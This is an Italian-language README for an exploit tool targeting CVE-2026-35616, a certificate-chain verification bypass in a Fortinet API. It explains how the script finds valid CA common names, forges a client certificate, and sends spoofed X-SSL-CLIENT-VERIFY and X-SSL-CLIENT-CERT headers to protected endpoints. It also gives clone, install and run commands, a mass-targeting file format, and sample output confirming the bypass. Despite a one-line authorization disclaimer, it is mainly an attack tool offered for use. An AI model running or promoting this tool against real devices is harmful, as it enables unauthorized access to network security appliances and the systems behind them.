
Script di exploit per CVE-2026-35616 che bypassa la verifica della catena di certificati nell'API Fortinet scoprendo CN validi, generando un certificato client contraffatto e sondando endpoint protetti con header personalizzati.
Sfruttamento della vulnerabilità di bypass del controllo della catena di certificati nell'API Fortinet.
Lo script rileva automaticamente i Common Name (CN) validi da varie fonti,
genera un certificato client contraffatto ed esegue richieste verso endpoint protetti
utilizzando le intestazioni X-SSL-CLIENT-VERIFY e X-SSL-CLIENT-CERT.
!!!Importante: Utilizzare solo su sistemi per i quali si dispone di esplicita autorizzazione al test.
requestscryptographyurllib3openssl (per il rilevamento avanzato della CA tramite TLS handshake)# Clonazione del progetto
git clone https://github.com/wa6n3r/CVE-2026-35616
cd CVE-2026-35616
# Installazione delle dipendenze
pip install -r requirements.txt
## Utilizzo
# Avvio di base
python3 exploit.py
# Con indicazione di target e porta
python3 exploit.py <TARGET_IP> [PORT]
# Esempi:
python3 exploit.py 192.168.1.100
python3 exploit.py 10.0.0.50 8443
# Formato del file dei target (targets.txt)
Per test di massa, creare un file targets.txt con un indirizzo target per riga:
192.168.1.100:443
10.0.0.50:8443
fortigate.internal
# File di output
In caso di esecuzione riuscita, lo script crea:
results/bypass_results_<TARGET>_<PORT>_<TIMESTAMP>.json — report dettagliato in formato JSON con:
Il CN utilizzato
Gli stati delle risposte per ciascun endpoint
I prefissi delle risposte per l'analisi
# Struttura dell'output
[ wa6n3r ] ◆ GH: github.com/wa6n3r ◆ WEB: wa6n3r.com
[*] CVE-2026-35616 Target: https://192.168.1.100:443
[*] Rilevamento dei CN della CA da più fonti...
[•] TLS CA CN: 'fortinet-ca2'
[•] ZTNA CA CN: 'support'
[*] Trovati 2 CN candidati: fortinet-ca2, support
[*] Test di 2 CN candidati per il bypass...
[+] CN='support' | HTTP 200 | retval=1 | BYPASS CONFERMATO
[*] Sondaggio di tutti gli endpoint cert_chain con CN='support'...
GET /api/v1/system/capabilities
HTTP 200: '{"result": {"retval": 1, ...}}'
[+] Risultati salvati in: results/bypass_results_192.168.1.100_443_20260101_120000.json